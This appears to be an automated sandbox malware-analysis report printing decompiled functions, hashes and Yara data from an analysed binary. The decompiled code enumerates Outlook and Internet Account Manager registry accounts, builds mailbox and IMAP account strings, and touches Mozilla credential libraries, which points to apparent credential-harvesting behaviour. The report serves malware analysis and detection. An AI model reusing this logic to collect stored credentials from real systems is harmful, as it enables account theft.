Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseOpen$ByteCharEnumFreeLocalMultiQueryValueWidememset
String ID: %GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd$Creds$ps:password$p@
API String ID: 551151806-2386532916
Opcode ID: 802061c58ab3b7a0c699a15447d727f2b4d3045fa72b958aab0169898b6b1aff
Instruction ID: 9b96f835ed6997495325440ed53231f0f0ace883948e60a6f3a7b66043991938
Opcode Fuzzy Hash: 802061c58ab3b7a0c699a15447d727f2b4d3045fa72b958aab0169898b6b1aff
Instruction Fuzzy Hash: 61410676900219AFDB11DFA5DC84EEFBBBCEB48755F0040A6F905E2150DA34AB948B64

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD82, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040CD82(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				void _v619;
				char _v620;
				void _v1231;
				char _v1232;
				void* __edi;
				void* _t37;
				void* _t53;
				char* _t54;
				intOrPtr _t60;
				void* _t61;
				char* _t62;
				void* _t67;
				intOrPtr _t84;
				void* _t85;
				intOrPtr _t87;
				void* _t88;
				void* _t89;

				_t87 = _a4;
				_t84 = __ecx;
				_v8 = __ecx;
				if( *((intOrPtr*)(_t87 + 0x1c)) <= 0) {
					_t37 = 0;
				} else {
					_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
				}
				_push(0xa);
				_push("mailbox://");
				_push(_t37);
				L004120D2();
				_t89 = _t88 + 0xc;
				if(_t37 == 0) {
					L8:
					_a4 = 0;
					if( *((intOrPtr*)(_t84 + 0x474)) > 0) {
						while(1) {
							_t85 = E0040DA96(_a4, _t84 + 0x468);
							_v620 = 0;
							memset( &_v619, 0, 0x261);
							_v1232 = 0;
							memset( &_v1231, 0, 0x261);
							_t17 = _t85 + 0x104; // 0x104
							_t18 = _t85 + 0x204; // 0x204
							sprintf( &_v620, "mailbox://%s@%s", _t18, _t17);
							_t20 = _t85 + 0x104; // 0x104
							_t21 = _t85 + 0x204; // 0x204
							sprintf( &_v1232, "imap://%s@%s", _t21, _t20);
							_t53 = 0;
							_t89 = _t89 + 0x38;
							if( *((intOrPtr*)(_t87 + 0x1c)) > 0) {
								_t53 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
							}
							_push(_t53);
							_t54 =  &_v620;
							_push(_t54);
							L00412072();
							if(_t54 == 0) {
								goto L17;
							}
							_t61 = 0;
							if( *((intOrPtr*)(_t87 + 0x1c)) > 0) {
								_t61 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
							}
							_push(_t61);
							_t62 =  &_v1232;
							_push(_t62);
							L00412072();
							if(_t62 != 0) {
								L18:
								_a4 = _a4 + 1;
								_t60 = _v8;
								if(_a4 <  *((intOrPtr*)(_t60 + 0x474))) {
									_t84 = _t60;
									continue;
								} else {
								}
							} else {
								goto L17;
							}
							goto L21;
							L17:
							if( *((char*)(E00406B3E( *((intOrPtr*)(_t87 + 0x1c)) - 1, _t87))) == 0x7e) {
								E0040132A(_t57 + 1, _t85 + 0x304, 0xff);
							} else {
								goto L18;
							}
							goto L21;
						}
					}
				} else {
					if( *((intOrPtr*)(_t87 + 0x1c)) <= 0) {
						_t67 = 0;
					} else {
						_t67 =  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0xc)))) +  *((intOrPtr*)(_t87 + 0x10));
					}
					_push(7);
					_push("imap://");
					_push(_t67);
					L004120D2();
					_t89 = _t89 + 0xc;
					if(_t67 == 0) {
						goto L8;
					}
				}
				L21:
				return 1;
			}

0x0040cd8d
0x0040cd96
0x0040cd98
0x0040cd9b
0x0040cda7
0x0040cd9d
0x0040cda2
0x0040cda2
0x0040cda9
0x0040cdab
0x0040cdb0
0x0040cdb1
0x0040cdb6
0x0040cdbb
0x0040cde6
0x0040cdec
0x0040cdef
0x0040cdfe
0x0040ce0d
0x0040ce18
0x0040ce1f
0x0040ce2e
0x0040ce35
0x0040ce3a
0x0040ce41
0x0040ce54
0x0040ce59
0x0040ce60
0x0040ce73
0x0040ce78
0x0040ce7a
0x0040ce80
0x0040ce87
0x0040ce87
0x0040ce8a
0x0040ce8b
0x0040ce91
0x0040ce92
0x0040ce9b
0x00000000
0x00000000
0x0040ce9d
0x0040cea2
0x0040cea9
0x0040cea9
0x0040ceac
0x0040cead
0x0040ceb3
0x0040ceb4
0x0040cebd
0x0040cecf
0x0040cecf
0x0040ced2
0x0040cede
0x0040cdfc
0x00000000
0x00000000
0x0040cee4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cebf
0x0040cecd
0x0040cef2
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cecd
0x0040cdfe
0x0040cdbd
0x0040cdc0
0x0040cdcc
0x0040cdc2
0x0040cdc7
0x0040cdc7
0x0040cdce
0x0040cdd0
0x0040cdd5
0x0040cdd6
0x0040cddb
0x0040cde0
0x00000000
0x00000000
0x0040cde0
0x0040cef9
0x0040ceff

APIs

_strnicmp.MSVCRT ref: 0040CDB1
_strnicmp.MSVCRT ref: 0040CDD6
memset.MSVCRT ref: 0040CE1F
memset.MSVCRT ref: 0040CE35
sprintf.MSVCRT ref: 0040CE54
sprintf.MSVCRT ref: 0040CE73
_stricmp.MSVCRT(00000000,00000000), ref: 0040CE92
_stricmp.MSVCRT(00000000,00000000), ref: 0040CEB4

Part of subcall function 0040132A: strlen.MSVCRT ref: 00401337

Strings

mailbox://, xrefs: 0040CDAB
imap://, xrefs: 0040CDD0
mailbox://%s@%s, xrefs: 0040CE4E
imap://%s@%s, xrefs: 0040CE6D

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _stricmp_strnicmpmemsetsprintf$strlen
String ID: imap://$imap://%s@%s$mailbox://$mailbox://%s@%s
API String ID: 4281260487-2229823034
Opcode ID: 024d07740614e5bd8b0db970560de94806a9e64d99aa777f67af906b6590f4e6
Instruction ID: 2d12b684a12309e3f166330e45fd276d2d431d1b057f0c9926c0b37ed6681b29
Opcode Fuzzy Hash: 024d07740614e5bd8b0db970560de94806a9e64d99aa777f67af906b6590f4e6
Instruction Fuzzy Hash: BE41B172604205DFD724DBA4C9C1F97B7E8AF08304F10467BE649E3281D778E955CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD80, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040CD80(void* __eax, intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				void _v619;
				char _v620;
				void _v1231;
				char _v1232;
				void* __edi;
				void* _t39;
				void* _t55;
				char* _t56;
				intOrPtr _t62;
				void* _t63;
				char* _t64;
				void* _t69;
				intOrPtr _t89;
				void* _t91;
				intOrPtr _t94;
				void* _t99;
				void* _t100;
				void* _t101;

				_t100 = _t99 - 0x4cc;
				_t94 = _a4;
				_t89 = __ecx;
				_v8 = __ecx;
				if( *((intOrPtr*)(_t94 + 0x1c)) <= 0) {
					_t39 = 0;
				} else {
					_t39 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
				}
				_push(0xa);
				_push("mailbox://");
				_push(_t39);
				L004120D2();
				_t101 = _t100 + 0xc;
				if(_t39 == 0) {
					L9:
					_a4 = 0;
					if( *((intOrPtr*)(_t89 + 0x474)) > 0) {
						while(1) {
							_t91 = E0040DA96(_a4, _t89 + 0x468);
							_v620 = 0;
							memset( &_v619, 0, 0x261);
							_v1232 = 0;
							memset( &_v1231, 0, 0x261);
							_t17 = _t91 + 0x104; // 0x104
							_t18 = _t91 + 0x204; // 0x204
							sprintf( &_v620, "mailbox://%s@%s", _t18, _t17);
							_t20 = _t91 + 0x104; // 0x104
							_t21 = _t91 + 0x204; // 0x204
							sprintf( &_v1232, "imap://%s@%s", _t21, _t20);
							_t55 = 0;
							_t101 = _t101 + 0x38;
							if( *((intOrPtr*)(_t94 + 0x1c)) > 0) {
								_t55 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
							}
							_push(_t55);
							_t56 =  &_v620;
							_push(_t56);
							L00412072();
							if(_t56 == 0) {
								goto L18;
							}
							_t63 = 0;
							if( *((intOrPtr*)(_t94 + 0x1c)) > 0) {
								_t63 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
							}
							_push(_t63);
							_t64 =  &_v1232;
							_push(_t64);
							L00412072();
							if(_t64 != 0) {
								L19:
								_a4 = _a4 + 1;
								_t62 = _v8;
								if(_a4 <  *((intOrPtr*)(_t62 + 0x474))) {
									_t89 = _t62;
									continue;
								} else {
								}
							} else {
								goto L18;
							}
							goto L22;
							L18:
							if( *((char*)(E00406B3E( *((intOrPtr*)(_t94 + 0x1c)) - 1, _t94))) == 0x7e) {
								E0040132A(_t59 + 1, _t91 + 0x304, 0xff);
							} else {
								goto L19;
							}
							goto L22;
						}
					}
				} else {
					if( *((intOrPtr*)(_t94 + 0x1c)) <= 0) {
						_t69 = 0;
					} else {
						_t69 =  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)))) +  *((intOrPtr*)(_t94 + 0x10));
					}
					_push(7);
					_push("imap://");
					_push(_t69);
					L004120D2();
					_t101 = _t101 + 0xc;
					if(_t69 == 0) {
						goto L9;
					}
				}
				L22:
				return 1;
			}

0x0040cd85
0x0040cd8d
0x0040cd96
0x0040cd98
0x0040cd9b
0x0040cda7
0x0040cd9d
0x0040cda2
0x0040cda2
0x0040cda9
0x0040cdab
0x0040cdb0
0x0040cdb1
0x0040cdb6
0x0040cdbb
0x0040cde6
0x0040cdec
0x0040cdef
0x0040cdfe
0x0040ce0d
0x0040ce18
0x0040ce1f
0x0040ce2e
0x0040ce35
0x0040ce3a
0x0040ce41
0x0040ce54
0x0040ce59
0x0040ce60
0x0040ce73
0x0040ce78
0x0040ce7a
0x0040ce80
0x0040ce87
0x0040ce87
0x0040ce8a
0x0040ce8b
0x0040ce91
0x0040ce92
0x0040ce9b
0x00000000
0x00000000
0x0040ce9d
0x0040cea2
0x0040cea9
0x0040cea9
0x0040ceac
0x0040cead
0x0040ceb3
0x0040ceb4
0x0040cebd
0x0040cecf
0x0040cecf
0x0040ced2
0x0040cede
0x0040cdfc
0x00000000
0x00000000
0x0040cee4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cebf
0x0040cecd
0x0040cef2
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cecd
0x0040cdfe
0x0040cdbd
0x0040cdc0
0x0040cdcc
0x0040cdc2
0x0040cdc7
0x0040cdc7
0x0040cdce
0x0040cdd0
0x0040cdd5
0x0040cdd6
0x0040cddb
0x0040cde0
0x00000000
0x00000000
0x0040cde0
0x0040cef8
0x0040ceff

APIs

_strnicmp.MSVCRT ref: 0040CDB1
_strnicmp.MSVCRT ref: 0040CDD6
memset.MSVCRT ref: 0040CE1F
memset.MSVCRT ref: 0040CE35
sprintf.MSVCRT ref: 0040CE54
sprintf.MSVCRT ref: 0040CE73
_stricmp.MSVCRT(00000000,00000000), ref: 0040CE92
_stricmp.MSVCRT(00000000,00000000), ref: 0040CEB4

Strings

mailbox://, xrefs: 0040CDAB
imap://, xrefs: 0040CDD0
mailbox://%s@%s, xrefs: 0040CE4E
imap://%s@%s, xrefs: 0040CE6D

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _stricmp_strnicmpmemsetsprintf
String ID: imap://$imap://%s@%s$mailbox://$mailbox://%s@%s
API String ID: 2822975062-2229823034
Opcode ID: 0f1e78ed6c62de82fcf3c07d446e549c31a630c2920e6e4e59f58844e705f72b
Instruction ID: b4ee7e9bcea435462912fc28dba82f8fd87397000d83f7605d7513f68c800710
Opcode Fuzzy Hash: 0f1e78ed6c62de82fcf3c07d446e549c31a630c2920e6e4e59f58844e705f72b
Instruction Fuzzy Hash: 0C417E72604205EFD724DBA4C9C1F96B7E8AF18304F00467BE64AE3281D778F995CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1E, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 104
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1E(void* __ecx, void* __fp0, intOrPtr _a4) {
				void* _v8;
				int _v12;
				char _v16;
				char _v20;
				void _v275;
				char _v276;
				void _v1299;
				char _v1300;
				void* __esi;
				void* _t35;
				intOrPtr _t36;
				void* _t40;
				void* _t52;
				void* _t58;
				void* _t60;
				void* _t64;
				char* _t66;
				void* _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;
				void* _t83;

				_t83 = __fp0;
				_t64 = __ecx;
				_t35 = E0040F1B0(0x80000001, "Identities",  &_v8);
				_t74 = _t73 + 0xc;
				if(_t35 == 0) {
					_v12 = 0;
					_v276 = 0;
					memset( &_v275, 0, 0xff);
					_t40 = E0040F276(_v8, 0,  &_v276);
					_t75 = _t74 + 0x18;
					if(_t40 == 0) {
						_t66 = "%s\\%s";
						do {
							_t69 = _a4;
							E0040F232(_t64, _v8,  &_v276, "Username", _a4 + 0xa9c, 0x7f);
							_v1300 = 0;
							memset( &_v1299, 0, 0x3ff);
							sprintf( &_v1300, _t66,  &_v276, "Software\\Microsoft\\Internet Account Manager\\Accounts");
							_t52 = E0040F1B0(_v8,  &_v1300,  &_v16);
							_t76 = _t75 + 0x3c;
							_t80 = _t52;
							if(_t52 == 0) {
								E00402B92(_t64,  &_v16, _t80, _t83, _t69, 1);
							}
							sprintf( &_v1300, _t66,  &_v276, "Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts");
							_t58 = E0040F1B0(_v8,  &_v1300,  &_v20);
							_t77 = _t76 + 0x1c;
							_t81 = _t58;
							if(_t58 == 0) {
								E00402B92(_t64,  &_v20, _t81, _t83, _a4, 5);
							}
							_v12 = _v12 + 1;
							_t60 = E0040F276(_v8, _v12,  &_v276);
							_t75 = _t77 + 0xc;
						} while (_t60 == 0);
					}
					RegCloseKey(_v8);
				}
				_t36 = _a4;
				 *((char*)(_t36 + 0xa9c)) = 0;
				return _t36;
			}

0x00402c1e
0x00402c1e
0x00402c36
0x00402c3b
0x00402c42
0x00402c55
0x00402c58
0x00402c5e
0x00402c6e
0x00402c73
0x00402c78
0x00402c80
0x00402c85
0x00402c85
0x00402ca0
0x00402cb2
0x00402cb8
0x00402cd1
0x00402ce4
0x00402ce9
0x00402cec
0x00402cee
0x00402cf6
0x00402cf6
0x00402d0f
0x00402d22
0x00402d27
0x00402d2a
0x00402d2c
0x00402d36
0x00402d36
0x00402d3b
0x00402d4b
0x00402d50
0x00402d53
0x00402d5c
0x00402d60
0x00402d60
0x00402d66
0x00402d69
0x00402d71

APIs

Part of subcall function 0040F1B0: RegOpenKeyExA.KERNELBASE(80000002,80000002,00000000,00020019,80000002,0040F559,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00000000,?,?,00000104), ref: 0040F1C3

memset.MSVCRT ref: 00402C5E

Part of subcall function 0040F276: RegEnumKeyExA.ADVAPI32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 0040F299

RegCloseKey.ADVAPI32(?), ref: 00402D60

Part of subcall function 0040F232: RegCloseKey.ADVAPI32(000003FF,?,?,?,?,00000000,000003FF), ref: 0040F26B

memset.MSVCRT ref: 00402CB8
sprintf.MSVCRT ref: 00402CD1
sprintf.MSVCRT ref: 00402D0F

Part of subcall function 00402B92: memset.MSVCRT ref: 00402BB2
Part of subcall function 00402B92: RegCloseKey.ADVAPI32 ref: 00402C16

Strings

Username, xrefs: 00402C91
Identities, xrefs: 00402C2C
Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts, xrefs: 00402CFB
%s\%s, xrefs: 00402C80, 00402CCF, 00402D0D
Software\Microsoft\Internet Account Manager\Accounts, xrefs: 00402CBD

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Closememset$sprintf$EnumOpen
String ID: %s\%s$Identities$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Username
API String ID: 1831126014-3814494228
Opcode ID: aa5e6b6edcfc89fa36e6c73b68bb675aec0b52e4a9a4f07f5dc5d81ecae78039
Instruction ID: 6132c75c80fc905e8fcbbac6237d45e27d646b3e48d82405447337ab985425ff
Opcode Fuzzy Hash: aa5e6b6edcfc89fa36e6c73b68bb675aec0b52e4a9a4f07f5dc5d81ecae78039
Instruction Fuzzy Hash: 66314072D0011DBADB21EA91CD42EEF7B7CAF18345F0404BABA14F2091E7B49F888B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040F44C, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 50stringCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT(?,Common Programs,0040F56A,?,?,?,?,?,00000104), ref: 0040F4BF

Strings

Common Startup, xrefs: 0040F4B2
AppData, xrefs: 0040F4A4
Common Start Menu, xrefs: 0040F48C
Desktop, xrefs: 0040F469
Startup, xrefs: 0040F477
Start Menu, xrefs: 0040F470
Common Programs, xrefs: 0040F4B9
Common Desktop, xrefs: 0040F4AB
Programs, xrefs: 0040F485
Favorites, xrefs: 0040F47E

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcpy
String ID: AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Desktop$Favorites$Programs$Start Menu$Startup
API String ID: 3177657795-318151290
Opcode ID: 46c502567c8f6af6d591b013d3d66ac45f3f8eb4ada5af74b17da760bd137375
Instruction ID: 3fcc29bccd1c625ad2997487a879199120d1d943b4c0761a6650e27991626466
Opcode Fuzzy Hash: 46c502567c8f6af6d591b013d3d66ac45f3f8eb4ada5af74b17da760bd137375
Instruction Fuzzy Hash: B9F01D732BEE0A60D43405681F06EF70402A0F17553BA86336D42F5ED6E9BC888E60AF

Uniqueness

Uniqueness Score: -1.00%

Function 00404841, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00404841(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t6;
				_Unknown_base(*)()* _t11;
				struct HWND__* _t15;
				void* _t20;
				struct HINSTANCE__* _t23;

				_v12 = 8;
				_v8 = 0xff;
				_t15 = 0;
				_t20 = 0;
				_t23 = LoadLibraryA("comctl32.dll");
				if(_t23 == 0) {
					L5:
					__imp__#17();
					_t6 = 1;
					L6:
					if(_t6 != 0) {
						return 1;
					} else {
						MessageBoxA(_t6, "Error: Cannot load the common control classes.", "Error", 0x30);
						return 0;
					}
				}
				_t11 = GetProcAddress(_t23, "InitCommonControlsEx");
				if(_t11 != 0) {
					_t20 = 1;
					_t15 =  *_t11( &_v12);
				}
				FreeLibrary(_t23);
				if(_t20 == 0) {
					goto L5;
				} else {
					_t6 = _t15;
					goto L6;
				}
			}

0x0040484e
0x00404855
0x0040485c
0x0040485e
0x00404866
0x0040486a
0x00404894
0x00404894
0x0040489c
0x0040489d
0x004048a2
0x004048bf
0x004048a4
0x004048b1
0x004048ba
0x004048ba
0x004048a2
0x00404872
0x0040487a
0x00404880
0x00404883
0x00404883
0x00404886
0x0040488e
0x00000000
0x00404890
0x00404890
0x00000000
0x00404890

APIs

LoadLibraryA.KERNEL32(comctl32.dll,75144DE0,?,00000000,?,?,?,0040BBA9,75144DE0), ref: 00404860
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00404872
FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,0040BBA9,75144DE0), ref: 00404886
#17.COMCTL32(?,00000000,?,?,?,0040BBA9,75144DE0), ref: 00404894
MessageBoxA.USER32 ref: 004048B1

Strings

Error, xrefs: 004048A6
InitCommonControlsEx, xrefs: 0040486C
Error: Cannot load the common control classes., xrefs: 004048AB
comctl32.dll, xrefs: 00404849

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 940705af2692cc549680cf39e92a457a0a1a918f96250f5e84b40193c3ae60b2
Instruction ID: fc2202cf77027b42572104eeb985269ec1b891a521d9ed4889cd7b549b4d3d81
Opcode Fuzzy Hash: 940705af2692cc549680cf39e92a457a0a1a918f96250f5e84b40193c3ae60b2
Instruction Fuzzy Hash: E001D6767906527BD7116FA09C4ABAF7EECDB85B4BB008435F602F1180EA78DE02825C

Uniqueness

Uniqueness Score: -1.00%

Function 0040E507, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E507() {
				int _t3;
				struct HINSTANCE__* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__* _t9;

				_t6 = GetModuleHandleA("nss3.dll");
				_t5 = GetModuleHandleA("sqlite3.dll");
				_t3 = GetModuleHandleA("mozsqlite3.dll");
				_t9 = _t3;
				if(_t6 != 0) {
					_t3 = FreeLibrary(_t6);
				}
				if(_t5 != 0) {
					_t3 = FreeLibrary(_t5);
				}
				if(_t9 != 0) {
					return FreeLibrary(_t9);
				}
				return _t3;
			}

0x0040e51d
0x0040e526
0x0040e528
0x0040e532
0x0040e534
0x0040e537
0x0040e537
0x0040e53b
0x0040e53e
0x0040e53e
0x0040e542
0x00000000
0x0040e545
0x0040e54b

APIs

GetModuleHandleA.KERNEL32(nss3.dll,751457D0,?,?,00000104,0040E63A,?,?,?,?,?,?,?,00000000), ref: 0040E516
GetModuleHandleA.KERNEL32(sqlite3.dll,?,00000104,0040E63A,?,?,?,?,?,?,?,00000000), ref: 0040E51F
GetModuleHandleA.KERNEL32(mozsqlite3.dll,?,00000104,0040E63A,?,?,?,?,?,?,?,00000000), ref: 0040E528
FreeLibrary.KERNEL32(00000000,?,00000104,0040E63A,?,?,?,?,?,?,?,00000000), ref: 0040E537
FreeLibrary.KERNEL32(00000000,?,00000104,0040E63A,?,?,?,?,?,?,?,00000000), ref: 0040E53E
FreeLibrary.KERNEL32(00000000,?,00000104,0040E63A,?,?,?,?,?,?,?,00000000), ref: 0040E545

Strings

mozsqlite3.dll, xrefs: 0040E521
nss3.dll, xrefs: 0040E511
sqlite3.dll, xrefs: 0040E518

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FreeHandleLibraryModule
String ID: mozsqlite3.dll$nss3.dll$sqlite3.dll
API String ID: 662261464-3550686275
Opcode ID: fe51f0db63daddba42dea8e840232ed32905c986888f9edcd6f5ba4196e89d7d
Instruction ID: d135409c02d172e6769d1cedb18aaef1940c31153c91c0802dc404148c0ad013
Opcode Fuzzy Hash: fe51f0db63daddba42dea8e840232ed32905c986888f9edcd6f5ba4196e89d7d
Instruction Fuzzy Hash: 31E048E6B4133D7689106AF65C44DBBAE5CC885AE63150877AD0473284EEA99D0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 004088C6, Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004088C6(void* __eax, void* __eflags, signed int _a4, short _a8) {
				char _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t96;
				signed int _t98;
				void* _t99;
				signed int _t104;
				signed short _t107;
				signed int _t110;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed short _t121;
				signed int _t122;
				signed int _t152;
				signed int _t156;
				signed int _t158;
				signed int _t161;
				signed int _t163;
				signed int _t168;
				signed int _t169;
				signed int _t170;
				void* _t172;
				void* _t173;
				void* _t174;
				void* _t178;
				intOrPtr _t180;

				_t174 = __eflags;
				_t172 = __eax;
				E004086DC(__eax);
				 *(_t172 + 0x2c) =  *(_t172 + 0x2c) & 0x00000000;
				_t122 = 0xd;
				 *((intOrPtr*)(_t172 + 0x184)) = _a4;
				_t156 = 0x14;
				_t96 = _t122 * _t156;
				 *(_t172 + 0x1b0) = _t122;
				_push( ~(0 | _t174 > 0x00000000) | _t96);
				L00412090();
				 *(_t172 + 0x1b4) = _t96;
				_t158 = 0x10;
				_t98 = _t122 * _t158;
				_push( ~(0 | _t174 > 0x00000000) | _t98);
				L00412090();
				 *(_t172 + 0x34) = _t98;
				_v8 = 0x4178e0;
				do {
					_t21 =  &_v8; // 0x4178e0
					_t99 =  *_t21;
					_t168 =  *_t99;
					_v12 = _t168;
					_t169 = _t168 * 0x14;
					memcpy( *(_t172 + 0x1b4) + _t169, _t99, 0x14);
					_t24 =  &_v8; // 0x4178e0
					_t104 = _v12 << 4;
					_v12 = _t104;
					memcpy( *(_t172 + 0x34) + _t104,  *_t24 + 0x14, 0x10);
					_t107 =  *(_t169 +  *(_t172 + 0x1b4) + 0x10);
					_t173 = _t173 + 0x18;
					_v16 = _t107;
					 *((intOrPtr*)( *(_t172 + 0x34) + _v12 + 0xc)) = _t107;
					if((_t107 & 0xffff0000) == 0) {
						 *(_t169 +  *(_t172 + 0x1b4) + 0x10) = E00407A69(_t107 & 0x0000ffff);
						_t121 = E00407A69(_v16 | 0x00010000);
						 *( *(_t172 + 0x34) + _v12 + 0xc) = _t121;
						_t122 = 0xd;
					}
					_v8 = _v8 + 0x24;
					_t178 = _v8 - 0x417ab4;
				} while (_t178 < 0);
				 *(_t172 + 0x38) =  *(_t172 + 0x38) & 0x00000000;
				 *((intOrPtr*)(_t172 + 0x3c)) = _a8;
				_t161 = 4;
				_t110 = _t122 * _t161;
				 *(_t172 + 0x20) = _t122;
				 *((intOrPtr*)(_t172 + 0x1c)) = 0x20;
				_push( ~(0 | _t178 > 0x00000000) | _t110);
				L00412090();
				_push(0xc);
				 *(_t172 + 0x24) = _t110;
				L00412090();
				_t170 = _t110;
				if(_t170 == 0) {
					_t170 = 0;
					__eflags = 0;
				} else {
					_t114 =  *((intOrPtr*)(_t172 + 0x48));
					_t180 = _t114;
					_a8 = _t114;
					if(_t180 == 0) {
						_a8 = 0x64;
					}
					 *((intOrPtr*)(_t170 + 8)) = _a4;
					_t163 = 4;
					_t117 = _t122 * _t163;
					 *(_t170 + 4) = _t122;
					_push( ~(0 | _t180 > 0x00000000) | _t117);
					L00412090();
					_a4 = _a4 & 0x00000000;
					 *_t170 = _t117;
					do {
						_t152 = _a4;
						_t119 = _t152 << 2;
						_a4 = _a4 + 1;
						 *( *_t170 + _t119 + 2) = _t152;
						 *((short*)(_t119 +  *_t170)) = _a8;
					} while (_a4 < _t122);
				}
				 *(_t172 + 0x19c) =  *(_t172 + 0x19c) & 0x00000000;
				 *(_t172 + 0x1a0) = _t170;
				 *((intOrPtr*)(_t172 + 0x40)) = 1;
				 *((intOrPtr*)(_t172 + 0x198)) = 1;
				 *((intOrPtr*)(_t172 + 0x1a4)) = 1;
				 *((intOrPtr*)(_t172 + 0x1a8)) = 1;
				 *((intOrPtr*)(_t172 + 0x1c4)) = 0x32;
				return E00408846(_t172);
			}

0x004088c6
0x004088cf
0x004088d1
0x004088d9
0x004088df
0x004088e0
0x004088ea
0x004088ed
0x004088f2
0x004088fc
0x004088fd
0x00408902
0x0040890c
0x0040890f
0x00408918
0x00408919
0x00408920
0x00408923
0x0040892a
0x0040892a
0x0040892a
0x0040892d
0x0040892f
0x00408932
0x00408941
0x00408946
0x00408955
0x0040895b
0x0040895e
0x00408969
0x00408973
0x0040897b
0x0040897e
0x00408982
0x0040899b
0x0040899f
0x004089ac
0x004089b0
0x004089b0
0x004089b1
0x004089b5
0x004089b5
0x004089c5
0x004089c9
0x004089d0
0x004089d3
0x004089d8
0x004089db
0x004089e6
0x004089e7
0x004089ec
0x004089ee
0x004089f1
0x004089f6
0x004089fc
0x00408a58
0x00408a58
0x004089fe
0x004089fe
0x00408a01
0x00408a03
0x00408a06
0x00408a08
0x00408a08
0x00408a12
0x00408a19
0x00408a1c
0x00408a21
0x00408a28
0x00408a29
0x00408a2e
0x00408a33
0x00408a35
0x00408a35
0x00408a3c
0x00408a3f
0x00408a45
0x00408a50
0x00408a50
0x00408a56
0x00408a5a
0x00408a64
0x00408a6c
0x00408a6f
0x00408a75
0x00408a7b
0x00408a81
0x00408a94

APIs

Part of subcall function 004086DC: ??3@YAXPAX@Z.MSVCRT ref: 004086E8
Part of subcall function 004086DC: ??3@YAXPAX@Z.MSVCRT ref: 004086F6
Part of subcall function 004086DC: ??3@YAXPAX@Z.MSVCRT ref: 00408707
